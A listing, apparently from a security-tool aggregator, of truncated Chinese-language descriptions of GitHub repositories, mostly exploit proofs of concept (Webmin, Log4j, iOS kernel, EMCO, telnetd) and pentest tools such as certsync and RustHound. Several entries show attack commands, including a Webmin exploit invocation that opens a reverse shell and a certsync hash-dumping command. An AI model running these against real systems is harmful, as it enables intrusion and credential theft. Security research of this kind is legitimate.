pentest-book

description: - 这本书包含了我渗透测试期间使用的大量信息、脚本和知识。 /home/six2dez/.pentest-book 感谢访问本站，请考虑用你了解的一些很赞的工具或技术来丰富这本书，你可以通过 Telegram@six2dez、Twitter@six2dez1 或 Discordsix2dez8201 联系我，GitHub 拉取请求也非常欢迎 ; 干掉它们 用法：只需使用上方的搜索栏，或浏览左侧区域的章节即可。尽情享受吧 😊 不知从何入手？ 让我给你介绍本 wiki 中一些最受欢迎的页面： 了解你的目标！做好 信息收集！ 在那些奇怪的端口上你能做什么？ 在进行...

CVE-2016-4437

CVE-2016-4437...

gping

gping 🚀 Ping，但有图表。 具有以下超能力： 绘制多个主机的ping时间图表 通过--cmd标志绘制命令的执行时间图表 自定义颜色 支持Windows、Mac和Linux 目录 安装 💿 用法 🎷 安装 💿 macOS Homebrew：brew install gping MacPorts：sudo port install gping Linux（Homebrew）：brew install gping CentOS（及其他使用旧版glibc的发行版）：从最新版本下载MUSL构建 Windows/ARM： Scoop：scoop install gping...

PDFJS

PDFJS...

CVE-2009-2692

CVE-2009-2692 Linux 空指针解引用 这只是 https://www.exploit-db.com/exploits/9545/ 上代码的编译二进制文件 为教育目的编译 它在 CentOS 4.8 下编译...

papers

论文 一个便捷的合集，集中收录了我公开发表的论文。 Symantec Altiris Deployment Solution 权限提升漏洞 13048 Exploit-db 出版物： https://www.exploit-db.com/docs/english/13048-symantec-altiris-deployment-solution-elevation-of-privileges-vulns.pdf March Networks DVR-CCTV 3204 安全隐患概述 13060 Exploit-db 出版物：...

cve-2022-28944

CVE-2022-28944 EMCO Software 多个产品未经身份验证的更新远程代码执行漏洞。 使用方法：python3 cve-2022-28944poc.py 报告详情请参见 gerr.re。 复现步骤 1. 安装 EMCO Software 受影响的某款产品； 2. 将伪造的 storage.emcosoftware.com 指向攻击者 IP； 在目标主机上编辑 c:\windows\system32\drivers\etc\hosts 以进行概念验证。 注意：攻击者可能使用（例如）： 配置不当的路由器/交换机/DNS， DNS 欺骗/缓存投毒， ARP 欺骗/缓存投毒。 ...

Trigon

Trigon Trigon 是一个基于 CVE-2023-32434 的确定性内核漏洞利用。它当前支持运行 iOS 13 - 15.7.6 的 A9 至 A11 设备。确定性意味着该漏洞利用在利用期间或之后永远不会导致内核恐慌，并且完全可靠。 Trigon 利用了 XNU 的 VM 层中的一个整数溢出漏洞。该漏洞允许我们构建任意物理地址映射原语。这赋予我们对任何物理地址的读写原语，除非是页表 。无法读取页表使得漏洞利用更加困难，但最终我们找到了一些巧妙的技巧来绕过这个问题，并构建了完整的虚拟读写原语。 完整的文章可以在这里找到。如果你对 iOS...

certsync

certsync certsync 是一种用于远程导出 NTDS 的新技术，但这次不使用 DRSUAPI ：它利用黄金证书和UnPAC the hash。 其工作分为以下几个步骤： 1. 从 LDAP 导出用户列表、CA 信息和 CRL 2. 导出 CA 证书和私钥 3. 为每个用户离线伪造证书 4. 对每个用户执行 UnPAC the hash，以获取 nt 和 lm 哈希 root@kitploit: $ certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12...

RustHound

此版本仅与BloodHound Legacy 4.x 兼容 与BloodHound Community Edition CE 兼容的版本可在此处找到 RustHound-CE。 摘要 限制 描述 如何编译 使用 Makefile 使用 Dockerfile 使用 Cargo Linux x8664 静态版本 从 Linux 编译 Windows 静态版本 从 Linux 编译 macOS 静态版本 优化二进制文件大小 如何构建文档 用法 演示 简单用法 FQDN 解析模块 ADCS 收集模块 统计 路线图 链接 限制 并非所有 SharpHound 的功能都已实现。RustHound...

tiny_tracer

tinytracer 一个用于跟踪的Pin工具： API调用，包括选定函数的输入和输出 定义的本地函数和静态链接库中的函数 选定的指令：RDTSC、CPUID、INT 内联系统调用，包括选定系统调用的参数 被跟踪模块各节之间的过渡（有助于查找加壳模块的原始入口点OEP） 在定义的代码片段中执行的指令 规避部分已知的反调试和反虚拟机技术 生成.tag格式的报告（可加载到其他分析工具中）： root@kitploit: RVA;traced event 例如： root@kitploit: 345c2;section: .text 58069;called:...

core

OPNsense GUI 与系统管理 OPNsense 项目邀请开发者开始为代码库做出贡献。无论你是为了自己的目的，还是——更好的是——加入我们，共同打造最好的开源防火墙。 构建流程的设计宗旨是让任何人都能轻松构建和编写代码。新代码库的主要大纲可在以下网址查看： https://docs.opnsense.org/development/architecture.html 我们的目标是以渐进方式演进到新的代码库，而不是通过一次性巨变。 构建工具 要构建像 OPNsense 这样可正常工作的软件，你需要源代码以及构建它的工具。OPNsense 的构建工具是免费提供的。 关于如何构建...

darling

Darling Darling 是 macOS 应用程序的运行时环境。 请注意，目前大多数 GUI 应用程序无法运行。 下载 部分发行版的软件包可在 releases 页面下载。 构建说明 构建说明请访问 Darling Docs。 前缀 Prefixes Darling 支持 DPREFIX，它与 WINEPREFIX 非常相似。它们是虚拟的“chroot”环境，具有类似 macOS 的文件系统结构，可以在其中安全地安装软件。默认的 DPREFIX 位置是 /.darling，可通过导出同名环境变量来更改。前缀会在首次使用时自动创建并初始化。 请注意，我们使用 overlayfs...

CVE-2023-0386

CVE-2023-0386...

legacySymfony

此存储库没有 README。...

webmin_1.920

CVE-2019-15107 Webmin 1.920 未认证远程命令执行 一个针对 CVE-2019-15107 Webmin 1.920 未认证远程命令执行的 Python3 脚本，它利用 mkfifo 创建反向 Shell 或伪交互式 Shell 以绕过防火墙。 开始使用 执行程序 使用 python3 root@kitploit: python3 webmin.py -t https://webmin.site/ -lhost 127.0.0.1 -lport 9001 正向 Shell 防火墙绕过 root@kitploit: python3 webmin.py -t...

CVE-2020-2883

CVE-2020-2883 适配12.2.1.3和12.2.1.4版本...

CVE-2015-8543_for_SLE12SP1

root@kitploit: $cat /etc/-release PRETTYNAME="SUSE Linux Enterprise Server 12 SP1" root@kitploit: $id uid=1000jeremysp1 gid=100users groups=100users root@kitploit: $sudo sh disablesecurity.sh $gcc exp.c -o exp 2/dev/null $../nsjail/nsjail -Mo --user 0 --group 0 --keepcaps --chroot / -- /bin/sh -i...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Apache Log4j LDAP查找漏洞的概念验证 您可以在此处阅读有关该漏洞的更多信息： https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ 如何运行提供的返回恶意对象的LDAP服务器？ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"...

telnet_scan

Telnet 漏洞扫描器（CVE-2026-24061 与 CVE-2026-32746） 一款基于 Python 的安全评估工具，用于检测并（在适用时）利用 GNU InetUtils telnetd 中的两个严重漏洞： CVE-2026-24061 – 通过 USER 环境变量注入绕过认证（CVSS 9.8） CVE-2026-32746 – LINEMODE SLC 处理程序中的预认证缓冲区溢出（CVSS 9.8） 重要免责声明 本工具仅用于授权安全测试和教育目的。...